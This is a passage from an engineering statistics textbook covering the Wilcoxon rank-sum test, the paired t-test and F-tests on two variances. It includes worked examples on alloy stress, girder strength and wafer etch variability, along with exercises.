Table 10-2 Axial Stress for Two Aluminum-Lithium Alloys

Alloy 1		Alloy 2	
3238 psi	3254 psi	3261 psi	3248 psi
3195	3229	3187	3215
3246	3225	3209	3226
3190	3217	3212	3240
3204	3241	3258	3234

We will apply the seven-step hypothesis-testing procedure to this problem:

1. **Parameter of interest:** The parameters of interest are the means of the two distributions of axial stress.
2. **Null hypothesis:** H_0: $\mu_1 = \mu_2$
3. **Alternative hypothesis:** H_1: $\mu_1 \neq \mu_2$
4. **Test statistic:** We will use the Wilcoxon rank-sum test statistic in Equation 10-21.

$$w_2 = \frac{(n_1 + n_2)(n_1 + n_2 + 1)}{2} - w_1$$

5. **Reject H_0 if:** Since $\alpha = 0.05$ and $n_1 = n_2 = 10$, Appendix Table X gives the critical value as $w_{0.05} = 78$. If either w_1 or w_2 is less than or equal to $w_{0.05} = 78$, we will reject H_0: $\mu_1 = \mu_2$.
6. **Computations:** The data from Table 10-2 are analyzed in ascending order and ranked as follows:

Alloy Number	Axial Stress	Rank
2	3187 psi	1
1	3190	2
1	3195	3
1	3204	4
2	3209	5
2	3212	6
2	3215	7
1	3217	8
1	3225	9
2	3226	10
1	3229	11
2	3234	12
1	3238	13
2	3240	14
1	3241	15
1	3246	16
2	3248	17
1	3254	18
2	3258	19
2	3261	20

The sum of the ranks for alloy 1 is

$$w_1 = 2 + 3 + 4 + 8 + 9 + 11 + 13 + 15 + 16 + 18 = 99$$

and for alloy 2

$$w_2 = \frac{(n_1 + n_2)(n_1 + n_2 + 1)}{2} - w_1$$
$$= \frac{(10 + 10)(10 + 10 + 1)}{2} - 99 = 111$$

7. **Conclusions:** Since neither w_1 nor w_2 is less than or equal to $w_{0.05} = 78$, we cannot reject the null hypothesis that both alloys exhibit the same mean axial stress.

Practical Interpretation: The data do not demonstrate that there is a superior alloy for this particular application.

10-3.2 Large-Sample Approximation

When both n_1 and n_2 are moderately large, say, greater than 8, the distribution of w_1 can be well approximated by the normal distribution with mean

$$\mu_{W_1} = \frac{n_1(n_1 + n_2 + 1)}{2}$$

and variance

$$\sigma^2_{W_1} = \frac{n_1 n_2(n_1 + n_2 + 1)}{12}$$

Therefore, for n_1 and $n_2 > 8$, we could use

Normal Approximation for Wilcoxon Rank-Sum Test Statistic

$$Z_0 = \frac{W_1 - \mu_{W_1}}{\sigma_{W_1}} \tag{10-22}$$

as a statistic, and the appropriate critical region is $|z_0| > z_{\alpha/2}$, $z_0 > z_\alpha$, or $z_0 < -z_\alpha$, depending on whether the test is a two-tailed, upper-tail, or lower-tail test.

10-3.3 Comparison to the *t*-Test

In Chapter 9 we discussed the comparison of the *t*-test with the Wilcoxon signed-rank test. The results for the two-sample problem are similar to the one-sample case. That is, when the normality assumption is correct, the Wilcoxon rank-sum test is approximately 95% as efficient as the *t*-test in large samples. On the other hand, regardless of the form of the distributions, the Wilcoxon rank-sum test will always be at least 86% as efficient. The efficiency of the Wilcoxon test relative to the *t*-test is usually high if the underlying distribution has heavier tails than the normal, because the behavior of the *t*-test is very dependent on the sample mean, which is quite unstable in heavy-tailed distributions.

EXERCISES FOR SECTION 10-3

10-31. An electrical engineer must design a circuit to deliver the maximum amount of current to a display tube to achieve sufficient image brightness. Within her allowable design constraints, she has developed two candidate circuits and tests prototypes of each. The resulting data (in microamperes) are as follows:

Circuit 1:	251, 255, 258, 257, 250, 251, 254, 250, 248
Circuit 2:	250, 253, 249, 256, 259, 252, 260, 251

(a) Use the Wilcoxon rank-sum test to test H_0: $\mu_1 = \mu_2$ against the alternative H_1: $\mu_1 > \mu_2$. Use $\alpha = 0.025$.

(b) Use the normal approximation for the Wilcoxon rank-sum test. Assume that $\alpha = 0.05$. Find the approximate *P*-value for this test statistic.

10-32. One of the authors travels regularly to Seattle, Washington. He uses either Delta or Alaska. Flight delays are sometimes unavoidable, but he would be willing to give most of his business to the airline with the best on-time arrival record. The number of minutes that his flight arrived late for the last six trips on each airline follows. Is there evidence that either airline has superior on-time arrival performance? Use $\alpha = 0.01$ and the Wilcoxon rank-sum test.

Delta:	13, 10, 1, −4, 0, 9 (minutes late)
Alaska:	15, 8, 3, −1, −2, 4 (minutes late)

10-33. The manufacturer of a hot tub is interested in testing two different heating elements for his product. The element that produces the maximum heat gain after 15 minutes would be preferable. He obtains 10 samples of each heating unit and tests each one. The heat gain after 15 minutes (in °F) follows.

Unit 1:	25, 27, 29, 31, 30, 26, 24, 32, 33, 38
Unit 2:	31, 33, 32, 35, 34, 29, 38, 35, 37, 30

(a) Is there any reason to suspect that one unit is superior to the other? Use $\alpha = 0.05$ and the Wilcoxon rank-sum test.

(b) Use the normal approximation for the Wilcoxon rank-sum test. Assume that $\alpha = 0.05$. What is the approximate *P*-value for this test statistic?

10-34. Consider the chemical etch rate data in Exercise 10-19.

(a) Use the Wilcoxon rank-sum test to investigate the claim that the mean etch rate is the same for both solutions. If $\alpha = 0.05$, what are your conclusions?

(b) Use the normal approximation for the Wilcoxon rank-sum test. Assume that $\alpha = 0.05$. Find the approximate *P*-value for this test.

10-35. Consider the pipe deflection data in Exercise 10-18.

(a) Use the Wilcoxon rank-sum test for the pipe deflection temperature experiment. If $\alpha = 0.05$, what are your conclusions?

(b) Use the normal approximation for the Wilcoxon rank-sum test. Assume that $\alpha = 0.05$. Find the approximate *P*-value for this test.

10-36. Consider the distance traveled by a golf ball in Exercise 10-29.

(a) Use the Wilcoxon rank-sum test to investigate if the means differ. Use $\alpha = 0.05$.

(b) Use the normal approximation for the Wilcoxon rank-sum test with $\alpha = 0.05$. Find the approximate *P*-value for this test.

10-4 PAIRED *t*-TEST

A special case of the two-sample t-tests of Section 10-2 occurs when the observations on the two populations of interest are collected in **pairs.** Each pair of observations, say (X_{1j}, X_{2j}), is taken under homogeneous conditions, but these conditions may change from one pair to another. For example, suppose that we are interested in comparing two different types of tips for a hardness-testing machine. This machine presses the tip into a metal specimen with a known force. By measuring the depth of the depression caused by the tip, the hardness of the specimen can be determined. If several specimens were selected at random, half tested with tip 1, half tested with tip 2, and the pooled or independent t-test in Section 10-2 was applied, the results of the test could be erroneous. The metal specimens could have been cut from bar stock that was produced in different heats, or they might not be homogeneous in some other way that might affect hardness. Then the observed difference between mean hardness readings for the two tip types also includes hardness differences between specimens.

A more powerful experimental procedure is to collect the data in pairs—that is, to make two hardness readings on each specimen, one with each tip. The test procedure would then consist of analyzing the *differences* between hardness readings on each specimen. If there is no difference between tips, the mean of the differences should be zero. This test procedure is called the **paired *t*-test.**

Let $(X_{11}, X_{21}), (X_{12}, X_{22}), \ldots, (X_{1n}, X_{2n})$ be a set of n paired observations where we assume that the mean and variance of the population represented by X_1 are μ_1 and σ_1^2, and the mean and variance of the population represented by X_2 are μ_2 and σ_2^2. Define the differences between each pair of observations as $D_j = X_{1j} - X_{2j}$, $j = 1, 2, \ldots, n$. The D_j's are assumed to be normally distributed with mean

$$\mu_D = E(X_1 - X_2) = E(X_1) - E(X_2) = \mu_1 - \mu_2$$

and variance σ_D^2, so testing hypotheses about the difference between μ_1 and μ_2 can be accomplished by performing a one-sample t-test on μ_D. Specifically, testing H_0: $\mu_1 - \mu_2 = \Delta_0$ against H_1: $\mu_1 - \mu_2 \neq \Delta_0$ is equivalent to testing

$$\begin{aligned} H_0&: \mu_D = \Delta_0 \\ H_1&: \mu_D \neq \Delta_0 \end{aligned} \tag{10-23}$$

The test statistic and decision procedure are given below.

Paired *t*-Test

Null hypothesis: H_0: $\mu_D = \Delta_0$

Test statistic: $$T_0 = \frac{\overline{D} - \Delta_0}{S_D/\sqrt{n}} \tag{10-24}$$

Alternative Hypothesis	*P*-Value	Rejection Region for Fixed-Level Tests
H_1: $\mu_D \neq \Delta_0$	Probability above $\lvert t_0 \rvert$ and probability below $-\lvert t_0 \rvert$	$t_0 > t_{\alpha/2,n-1}$ or $t_0 < -t_{\alpha/2,n-1}$
H_1: $\mu_D > \Delta_0$	Probability above t_0	$t_0 > t_{\alpha,n-1}$
H_1: $\mu_D < \Delta_0$	Probability below t_0	$t_0 < -t_{\alpha,n-1}$

In Equation 10-24, $\overline{D}$ is the sample average of the n differences $D_1, D_2, \ldots, D_n$, and S_D is the sample standard deviation of these differences.

EXAMPLE 10-10 Shear Strength of Steel Girders

An article in the *Journal of Strain Analysis* (Vol. 18, No. 2 1983) reports a comparison of several methods for predicting the shear strength for steel plate girders. Data for two of these methods, the Karlsruhe and Lehigh procedures, when applied to nine specific girders, are shown in Table 10-3. We wish to determine whether there is any difference (on the average) between the two methods.

The seven-step procedure is applied as follows:

1. **Parameter of Interest:** The parameter of interest is the difference in mean shear strength between the two methods—say, $\mu_D = \mu_1 - \mu_2 = 0$.
2. **Null hypothesis:** H_0: $\mu_D = 0$
3. **Alternative hypothesis:** H_1: $\mu_D \neq 0$
4. **Test statistic:** The test statistic is

$$t_0 = \frac{\bar{d}}{s_d/\sqrt{n}}$$

5. **Reject H_0 if:** Reject H_0 if the P-value is <0.05.
6. **Computations:** The sample average and standard deviation of the differences d_j are $\bar{d} = 0.2769$ and $s_d = 0.1350$, and so the test statistic is

$$t_0 = \frac{\bar{d}}{s_d/\sqrt{n}} = \frac{0.2769}{0.1350/\sqrt{9}} = 6.15$$

7. **Conclusions:** Because $t_{0.0005.8} = 5.041$ and the value of the test statistic $t_0 = 6.15$ exceeds this value, the P-value is less than $2(0.0005) = 0.001$. Therefore, we conclude that the strength prediction methods yield different results.

Practical Interpretation: Specifically, the data indicate that the Karlsruhe method produces, on the average, higher strength predictions than does the Lehigh method. This is a strong conclusion.

Minitab can perform the paired t-test. The Minitab output for Example 10-10 is shown below:

Paired T for Karlsruhe–Lehigh

	N	Mean	StDev	SE Mean
Karlsruhe	9	1.34011	0.14603	0.04868
Lehigh	9	1.06322	0.05041	0.01680
Difference	9	0.276889	0.135027	0.045009

95% CI for mean difference: (0.173098, 0.380680)
T-Test of mean difference = 0 (vs not = 0): T-Value = 6.15, P-Value = 0.000

Table 10-3 Strength Predictions for Nine Steel Plate Girders (Predicted Load/Observed Load)

Girder	Karlsruhe Method	Lehigh Method	Difference d_j
S1/1	1.186	1.061	0.125
S2/1	1.151	0.992	0.159
S3/1	1.322	1.063	0.259
S4/1	1.339	1.062	0.277
S5/1	1.200	1.065	0.135
S2/1	1.402	1.178	0.224
S2/2	1.365	1.037	0.328
S2/3	1.537	1.086	0.451
S2/4	1.559	1.052	0.507

The results essentially agree with the manual calculations. In addition to the hypothesis test results. Minitab reports a two-sided CI on the difference in means. This Cl was found by constructing a single-sample CI on μ_D. We will give the details later.

Paired Versus Unpaired Comparisons

In performing a comparative experiment, the investigator can sometimes choose between the paired experiment and the two-sample (or unpaired) experiment. If n measurements are to be made on each population, the two-sample t-statistic is

$$T_0 = \frac{\overline{X}_1 - \overline{X}_2 - \Delta_0}{S_p\sqrt{\dfrac{1}{n} + \dfrac{1}{n}}}$$

which would be compared to t_{2n-2}, and of course, the paired t-statistic is

$$T_0 = \frac{\overline{D} - \Delta_0}{S_D/\sqrt{n}}$$

which is compared to t_{n-1}. Notice that since

$$\overline{D} = \sum_{j=1}^{n} \frac{D_j}{n} = \sum_{j=1}^{n} \frac{(X_{1j} - X_{2j})}{n} = \sum_{j=1}^{n} \frac{X_{1j}}{n} - \sum_{j=1}^{n} \frac{X_{2j}}{n} = \overline{X}_1 - \overline{X}_2$$

the numerators of both statistics are identical. However, the denominator of the two-sample t-test is based on the assumption that X_1 and X_2 are *independent*. In many paired experiments, a strong positive correlation ρ exists between X_1 and X_2. Then it can be shown that

$$\begin{aligned} V(\overline{D}) &= V(\overline{X}_1 - \overline{X}_2 - \Delta_0) \\ &= V(\overline{X}_1) + V(\overline{X}_2) - 2\,\mathrm{cov}(\overline{X}_1, \overline{X}_2) \\ &= \frac{2\sigma^2(1-\rho)}{n} \end{aligned}$$

assuming that both populations X_1 and X_2 have identical variances σ^2. Furthermore, S_D^2/n estimates the variance of $\overline{D}$. Whenever there is positive correlation within the pairs, the denominator for the paired t-test will be smaller than the denominator of the two-sample t-test. This can cause the two-sample t-test to considerably understate the significance of the data if it is incorrectly applied to paired samples.

Although pairing will often lead to a smaller value of the variance of $\overline{X}_1 - \overline{X}_2$, it does have a disadvantage—namely, the paired t-test leads to a loss of $n - 1$ degrees of freedom in comparison to the two-sample t-test. Generally, we know that increasing the degrees of freedom of a test increases the power against any fixed alternative values of the parameter.

So how do we decide to conduct the experiment? Should we pair the observations or not? Although there is no general answer to this question, we can give some guidelines based on the above discussion.

1. If the experimental units are relatively homogeneous (small σ) and the correlation within pairs is small, the gain in precision attributable to pairing will be offset by the loss of degrees of freedom, so an independent-sample experiment should be used.

2. If the experimental units are relatively heterogeneous (large σ) and there is large positive correlation within pairs, the paired experiment should be used. Typically, this case occurs when the experimental units are the *same* for both treatments; as in Example 10-10, the same girders were used to test the two methods.

Implementing the rules still requires judgment, because σ and ρ are never known precisely. Furthermore, if the number of degrees of freedom is large (say, 40 or 50), the loss of $n - 1$ of them for pairing may not be serious. However, if the number of degrees of freedom is small (say, 10 or 20), losing half of them is potentially serious if not compensated for by increased precision from pairing.

Confidence Interval for μ_D

To construct the confidence interval for $\mu_D = \mu_1 - \mu_2$, note that

$$T = \frac{\overline{D} - \mu_D}{S_D/\sqrt{n}}$$

follows a t distribution with $n - 1$ degrees of freedom. Then, since $P(-t_{\alpha/2,n-1} \le T \le t_{\alpha/2,n-1}) = 1 - \alpha$, we can substitute for T in the above expression and perform the necessary steps to isolate $\mu_D = \mu_1 - \mu_2$ between the inequalities. This leads to the following $100(1 - \alpha)\%$ confidence interval on $\mu_1 - \mu_2$.

Confidence Interval for μ_D from Paired Samples

If $\bar{d}$ and s_D are the sample mean and standard deviation of the difference of n random pairs of normally distributed measurements, a **$100(1 - \alpha)\%$ confidence interval on the difference in means $\mu_D = \mu_1 - \mu_2$** is

$$\bar{d} - t_{\alpha/2,n-1}s_D/\sqrt{n} \le \mu_D \le \bar{d} + t_{\alpha/2,n-1}s_D/\sqrt{n} \qquad (10\text{-}25)$$

where $t_{\alpha/2,n-1}$ is the upper $\alpha/2\%$ point of the t distribution with $n - 1$ degrees of freedom.

This confidence interval is also valid for the case where $\sigma_1^2 \ne \sigma_2^2$, because s_D^2 estimates $\sigma_D^2 = V(X_1 - X_2)$. Also, for large samples (say, $n \ge 30$ pairs), the explicit assumption of normality is unnecessary because of the central limit theorem.

EXAMPLE 10-11 Parallel Park Cars

The journal *Human Factors* (1962, pp. 375–380) reported a study in which $n = 14$ subjects were asked to parallel park two cars having very different wheel bases and turning radii. The time in seconds for each subject was recorded and is given in Table 10-4. From the column of observed differences we calculate $\bar{d} = 1.21$ and $s_D = 12.68$. The 90% confidence interval for $\mu_D = \mu_1 - \mu_2$ is found from Equation 10-25 as follows:

$$\begin{aligned} \bar{d} - t_{0.05,13}s_D/\sqrt{n} &\le \mu_D \le \bar{d} + t_{0.05,13}s_D/\sqrt{n} \\ 1.21 - 1.771(12.68)/\sqrt{14} &\le \mu_D \le 1.21 + 1.771(12.68)/\sqrt{14} \\ -4.79 &\le \mu_D \le 7.21 \end{aligned}$$

Notice that the confidence interval on μ_D includes zero. This implies that, at the 90% level of confidence, the data do not support the claim that the two cars have different mean parking times μ_1 and μ_2. That is, the value $\mu_D = \mu_1 - \mu_2 = 0$ is not inconsistent with the observed data.

Table 10-4 Time in Seconds to Parallel Park Two Automobiles

	Automobile		Difference
Subject	$1(x_{1j})$	$2(x_{2j})$	(d_j)
1	37.0	17.8	19.2
2	25.8	20.2	5.6
3	16.2	16.8	−0.6
4	24.2	41.4	−17.2
5	22.0	21.4	0.6
6	33.4	38.4	−5.0
7	23.8	16.8	7.0
8	58.2	32.2	26.0
9	33.6	27.8	5.8
10	24.4	23.2	1.2
11	23.4	29.6	−6.2
12	21.2	20.6	0.6
13	36.2	32.2	4.0
14	29.8	53.8	−24.0

Nonparametric Approach to Paired Comparisons

Both the sign test and the Wilcoxon signed-rank test discussed in Section 9-9 can be applied to paired observations. In the case of the sign test, the null hypothesis is that the median of the differences is equal to zero (that is, H_0: $\tilde{\mu}_D = 0$). The Wilcoxon signed-rank test is for the null hypothesis that the mean of the differences is equal to zero. The procedures are applied to the observed differences as described in Sections 9-9.1 and 9-9.2.

EXERCISES FOR SECTION 10-4

10-37. Consider the shear strength experiment described in Example 10-10.

(a) Construct a 95% confidence interval on the difference in mean shear strength for the two methods. Is the result you obtained consistent with the findings in Example 10-10? Explain why.

(b) Do each of the individual shear strengths have to be normally distributed for the paired t-test to be appropriate, or is it only the difference in shear strengths that must be normal? Use a normal probability plot to investigate the normality assumption.

10-38. Consider the parking data in Example 10-11.

(a) Use the paired t-test to investigate the claim that the two types of cars have different levels of difficulty to parallel park. Use $\alpha = 0.10$.

(b) Compare your results with the confidence interval constructed in Example 10-11 and comment on why they are the same or different.

(c) Investigate the assumption that the differences in parking times are normally distributed.

10-39. The manager of a fleet of automobiles is testing two brands of radial tires. He assigns one tire of each brand at random to the two rear wheels of eight cars and runs the cars until the tires wear out. The data (in kilometers) follow. Find a 99% confidence interval on the difference in mean life. Which brand would you prefer, based on this calculation?

Car	Brand 1	Brand 2
1	36,925	34,318
2	45,300	42,280
3	36,240	35,500
4	32,100	31,950
5	37,210	38,015
6	48,360	47,800
7	38,200	37,810
8	33,500	33,215

10-40. A computer scientist is investigating the usefulness of two different design languages in improving programming tasks. Twelve expert programmers, familiar with both languages, are asked to code a standard function in both languages, and the time (in minutes) is recorded. The data follow:

	Time	
Programmer	Design Language 1	Design Language 2
1	17	18
2	16	14
3	21	19
4	14	11
5	18	23
6	24	21
7	16	10
8	14	13
9	21	19
10	23	24
11	13	15
12	18	20

(a) Is the assumption that the difference in coding time is normally distributed reasonable?
(b) Find a 95% confidence interval on the difference in mean coding times. Is there any indication that one design language is preferable?

10-41. Fifteen adult males between the ages of 35 and 50 participated in a study to evaluate the effect of diet and exercise on blood cholesterol levels. The total cholesterol was measured in each subject initially and then three months after participating in an aerobic exercise program and switching to a low-fat diet. The data are shown in the accompanying table

Blood Cholesterol Level		
Subject	Before	After
1	265	229
2	240	231
3	258	227
4	295	240
5	251	238
6	245	241
7	287	234
8	314	256
9	260	247
10	279	239
11	283	246
12	240	218
13	238	219
14	225	226
15	247	233

(a) Do the data support the claim that low-fat diet and aerobic exercise are of value in producing a mean reduction in blood cholesterol levels? Use $\alpha = 0.05$. Find the P-value.
(b) Calculate a one-sided confidence limit that can be used to answer the question in part (a).

10-42. An article in the *Journal of Aircraft* (Vol. 23, 1986, pp. 859–864) described a new equivalent plate analysis method formulation that is capable of modeling aircraft structures such as cranked wing boxes, and that produces results similar to the more computationally intensive finite element analysis method. Natural vibration frequencies for the cranked wing box structure are calculated using both methods, and results for the first seven natural frequencies follow:

Freq.	Finite Element Cycle/s	Equivalent Plate, Cycle/s
1	14.58	14.76
2	48.52	49.10
3	97.22	99.99
4	113.99	117.53
5	174.73	181.22
6	212.72	220.14
7	277.38	294.80

(a) Do the data suggest that the two methods provide the same mean value for natural vibration frequency? Use $\alpha = 0.05$. Find the P-value.
(b) Find a 95% confidence interval on the mean difference between the two methods.

10-43. Ten individuals have participated in a diet-modification program to stimulate weight loss. Their weight both before and after participation in the program is shown in the following list.

Subject	Before	After
1	195	187
2	213	195
3	247	221
4	201	190
5	187	175
6	210	197
7	215	199
8	246	221
9	294	278
10	310	285

(a) Is there evidence to support the claim that this particular diet-modification program is effective in producing a mean weight reduction? Use $\alpha = 0.05$.
(b) Is there evidence to support the claim that this particular diet-modification program will result in a mean weight loss of at least 10 pounds? Use $\alpha = 0.05$.

(c) Suppose that, if the diet-modification program results in mean weight loss of at least 10 pounds, it is important to detect this with probability of at least 0.90. Was the use of 10 subjects an adequate sample size? If not, how many subjects should have been used?

10-44. Two different analytical tests can be used to determine the impurity level in steel alloys. Eight specimens are tested using both procedures, and the results are shown in the following tabulation.

Specimen	Test 1	Test 2
1	1.2	1.4
2	1.3	1.7
3	1.5	1.5
4	1.4	1.3
5	1.7	2.0
6	1.8	2.1
7	1.4	1.7
8	1.3	1.6

(a) Is there sufficient evidence to conclude that tests differ in the mean impurity level, using $\alpha = 0.01$?

(b) Is there evidence to support the claim that Test 1 generates a mean difference 0.1 units lower than Test 2? Use $\alpha = 0.05$.

(c) If the mean from Test 1 is 0.1 less than the mean from Test 2, it is important to detect this with probability at least 0.90. Was the use of eight alloys an adequate sample size? If not, how many alloys should have been used?

10-45. An article in *Neurology* (1998, Vol. 50, pp. 1246–1252) discussed that monozygotic twins share numerous physical, psychological, and pathological traits. The investigators measured an intelligence score of 10 pairs of twins, and the data are as follows:

Pair	Birth Order: 1	Birth Order: 2
1	6.08	5.73
2	6.22	5.80
3	7.99	8.42
4	7.44	6.84
5	6.48	6.43
6	7.99	8.76
7	6.32	6.32
8	7.60	7.62
9	6.03	6.59
10	7.52	7.67

(a) Is the assumption that the difference in score is normally distributed reasonable? Show results to support your answer.

(b) Find a 95% confidence interval on the difference in mean score. Is there any evidence that mean score depends on birth order?

(c) It is important to detect a mean difference in score of one point, with a probability of at least 0.90. Was the use of 10 pairs an adequate sample size? If not, how many pairs should have been used?

10-46. In *Biometrics* (1990, Vol. 46, pp. 673–87), the authors analyzed the circumference of five orange trees (labeled as A–E) measured on seven occasions (x_i).

Tree	x_1	x_2	x_3	x_4	x_5	x_6	x_7
A	30	58	87	115	120	142	145
B	33	69	111	156	172	203	203
C	30	51	75	108	115	139	140
D	32	62	112	167	179	209	214
E	30	49	81	125	142	174	177

(a) Compare the mean increase in circumference in periods 1 to 2 to the mean increase in periods 2 to 3. The increase is the difference in circumference in the two periods. Are these means significantly different at $\alpha = 0.10$?

(b) Is there evidence that the mean increase in period 1 to period 2 is greater than the mean increase in period 6 to period 7 at $\alpha = 0.05$?

(c) Are the assumptions of the test in part (a) violated because the same data (period 2 circumference) is used to calculate both mean increases?

10-47. Use the sign test on the blood cholesterol data in Exercise 10-41. Is there evidence that diet and exercise reduce the median cholesterol level?

10-48. Repeat Exercise 10-47 using the Wilcoxon signed-rank test. State carefully what hypothesis is being tested and how it differs from the one tested in Exercise 10-47.

10-5 INFERENCE ON THE VARIANCES OF TWO NORMAL DISTRIBUTIONS

We now introduce tests and confidence intervals for the two population variances shown in Fig. 10-1. We will assume that both populations are normal. Both the hypothesis-testing and confidence interval procedures are relatively sensitive to the normality assumption.

10-5.1 *F* Distribution

Suppose that two independent normal populations are of interest, where the population means and variances, say, μ_1, σ_1^2, μ_2, and σ_2^2, are unknown. We wish to test hypotheses about the equality of the two variances, say, H_0: $\sigma_1^2 = \sigma_2^2$. Assume that two random samples of size n_1 from population 1 and of size n_2 from population 2 are available, and let S_1^2 and S_2^2 be the sample variances. We wish to test the hypotheses

$$\begin{aligned} H_0&: \sigma_1^2 = \sigma_2^2 \\ H_1&: \sigma_1^2 \neq \sigma_2^2 \end{aligned} \tag{10-26}$$

The development of a test procedure for these hypotheses requires a new probability distribution, the *F* distribution. The random variable *F* is defined to be the ratio of two independent chi-square random variables, each divided by its number of degrees of freedom. That is,

$$F = \frac{W/u}{Y/v} \tag{10-27}$$

where *W* and *Y* are independent chi-square random variables with *u* and *v* degrees of freedom, respectively. We now formally state the sampling distribution of *F*.

***F* Distribution**

Let *W* and *Y* be independent chi-square random variables with *u* and *v* degrees of freedom, respectively. Then the ratio

$$F = \frac{W/u}{Y/v} \tag{10-28}$$

has the probability density function

$$f(x) = \frac{\Gamma\left(\frac{u+v}{2}\right)\left(\frac{u}{v}\right)^{u/2} x^{(u/2)-1}}{\Gamma\left(\frac{u}{2}\right)\Gamma\left(\frac{v}{2}\right)\left[\left(\frac{u}{v}\right)x + 1\right]^{(u+v)/2}}, \qquad 0 < x < \infty \tag{10-29}$$

and is said to follow the *F* distribution with *u* degrees of freedom in the numerator and *v* degrees of freedom in the denominator. It is usually abbreviated as $F_{u,v}$.

The mean and variance of the *F* distribution are $\mu = v/(v-2)$ for $v > 2$, and

$$\sigma^2 = \frac{2v^2(u+v-2)}{u(v-2)^2(v-4)}, \qquad v > 4$$

Two *F* distributions are shown in Fig. 10-4. The *F* random variable is nonnegative, and the distribution is skewed to the right. The *F* distribution looks very similar to the chi-square distribution; however, the two parameters *u* and *v* provide extra flexibility regarding shape.

Figure 10-4 Probability density functions of two F distributions.

Figure 10-5 Upper and lower percentage points of the F distribution.

The percentage points of the F distribution are given in Table VI of the Appendix. Let $f_{\alpha,u,v}$ be the percentage point of the F distribution, with numerator degrees of freedom u and denominator degrees of freedom v such that the probability that the random variable F exceeds this value is

$$P(F > f_{\alpha,u,v}) = \int_{f_{\alpha,u,v}}^{\infty} f(x)\,dx = \alpha$$

This is illustrated in Fig. 10-5. For example, if $u = 5$ and $v = 10$, we find from Table V of the Appendix that

$$P(F > f_{0.05,5,10}) = P(F_{5,10} > 3.33) = 0.05$$

That is, the upper 5 percentage point of $F_{5,10}$ is $f_{0.05,5,10} = 3.33$.

Table V contains only upper-tail percentage points (for selected values of $f_{\alpha,u,v}$ for $\alpha \leq 0.25$) of the F distribution. The lower-tail percentage points $f_{1-\alpha,u,v}$ can be found as follows.

$$f_{1-\alpha,u,v} = \frac{1}{f_{\alpha,v,u}} \tag{10-30}$$

For example, to find the lower-tail percentage point $f_{0.95,5,10}$, note that

$$f_{0.95,5,10} = \frac{1}{f_{0.05,10,5}} = \frac{1}{4.74} = 0.211$$

10-5.2 Hypothesis Tests on the Ratio of Two Variances

A hypothesis-testing procedure for the equality of two variances is based on the following result.

Distribution of the Ratio of Sample Variances from Two Normal Distributions

Let $X_{11}, X_{12}, \ldots, X_{1n_1}$ be a random sample from a normal population with mean μ_1 and variance σ_1^2, and let $X_{21}, X_{22}, \ldots, X_{2n_2}$ be a random sample from a second normal population with mean μ_2 and variance σ_2^2. Assume that both normal populations are independent. Let S_1^2 and S_2^2 be the sample variances. Then the ratio

$$F = \frac{S_1^2/\sigma_1^2}{S_2^2/\sigma_2^2}$$

has an F distribution with $n_1 - 1$ numerator degrees of freedom and $n_2 - 1$ denominator degrees of freedom.

This result is based on the fact that $(n_1 - 1)S_1^2/\sigma_1^2$ is a chi-square random variable with $n_1 - 1$ degrees of freedom, that $(n_2 - 1)S_2^2/\sigma_2^2$ is a chi-square random variable with $n_2 - 1$ degrees of freedom, and that the two normal populations are independent. Clearly under the null hypothesis H_0: $\sigma_1^2 = \sigma_2^2$ the ratio $F_0 = S_1^2/S_2^2$ has an F_{n_1-1,n_2-1} distribution. This is the basis of the following test procedure.

Tests on the Ratio of Variances from Two Normal Distributions

Null hypothesis: H_0: $\sigma_1^2 = \sigma_2^2$

Test statistic: $$F_0 = \frac{S_1^2}{S_2^2} \tag{10-31}$$

Alternative Hypotheses	Rejection Criterion
H_1: $\sigma_1^2 \neq \sigma_2^2$	$f_0 > f_{\alpha/2,n_1-1,n_2-1}$ or $f_0 < f_{1-\alpha/2,n_1-1,n_2-1}$
H_1: $\sigma_1^2 > \sigma_2^2$	$f_0 > f_{\alpha,n_1-1,n_2-1}$
H_1: $\sigma_1^2 < \sigma_2^2$	$f_0 < f_{1-\alpha,\, n_1-1,n_2-1}$

The critical regions for these fixed-significance-level tests are shown in Figure 10-6.

Figure 10-6 The F distribution for the test of H_0: $\sigma_1^2 = \sigma_2^2$ with critical region values for (a) H_1: $\sigma_1^2 \neq \sigma_2^2$, (b) H_1: $\sigma_1^2 > \sigma_2^2$, and (c) H_1: $\sigma_1^2 < \sigma_2^2$.

EXAMPLE 10-12 Semiconductor Etch Variability

Oxide layers on semiconductor wafers are etched in a mixture of gases to achieve the proper thickness. The variability in the thickness of these oxide layers is a critical characteristic of the wafer, and low variability is desirable for subsequent processing steps. Two different mixtures of gases are being studied to determine whether one is superior in reducing the variability of the oxide thickness. Sixteen wafers are etched in each gas. The sample standard deviations of oxide thickness are $s_1 = 1.96$ angstroms and $s_2 = 2.13$ angstroms, respectively. Is there any evidence to indicate that either gas is preferable? Use a fixed-level test with $\alpha = 0.05$.

The seven-step hypothesis-testing procedure may be applied to this problem as follows:

1. **Parameter of interest:** The parameter of interest are the variances of oxide thickness σ_1^2 and σ_2^2. We will assume that oxide thickness is a normal random variable for both gas mixtures.
2. **Null hypothesis:** H_0: $\sigma_1^2 = \sigma_2^2$
3. **Alternative hypothesis:** H_1: $\sigma_1^2 \neq \sigma_2^2$
4. **Test statistic:** The test statistic is given by equation 10-31:

$$f_0 = \frac{s_1^2}{s_2^2}$$

6. **Reject H_0 if :** Because $n_1 = n_2 = 16$ and $\alpha = 0.05$, we will reject H_0: $\sigma_1^2 = \sigma_2^2$ if $f_0 > f_{0.025,15,15} = 2.86$ or if $f_0 < f_{0.975,15,15} = 1/f_{0.025,15,15} = 1/2.86 = 0.35$. Refer to Figure 10-6(a).
7. **Computations:** Because $s_1^2 = (1.96)^2 = 3.84$ and $s_2^2 = (2.13)^2 = 4.54$, the test statistic is

$$f_0 = \frac{s_1^2}{s_2^2} = \frac{3.84}{4.54} = 0.85$$

8. **Conclusions:** Because $f_{0.975,15,15} = 0.35 < 0.85 < f_{0.025,15,15} = 2.86$, we cannot reject the null hypothesis H_0: $\sigma_1^2 = \sigma_2^2$ at the 0.05 level of significance.

Practical Interpretation: There is no strong evidence to indicate that either gas results in a smaller variance of oxide thickness.

P-Values for the *F*-Test

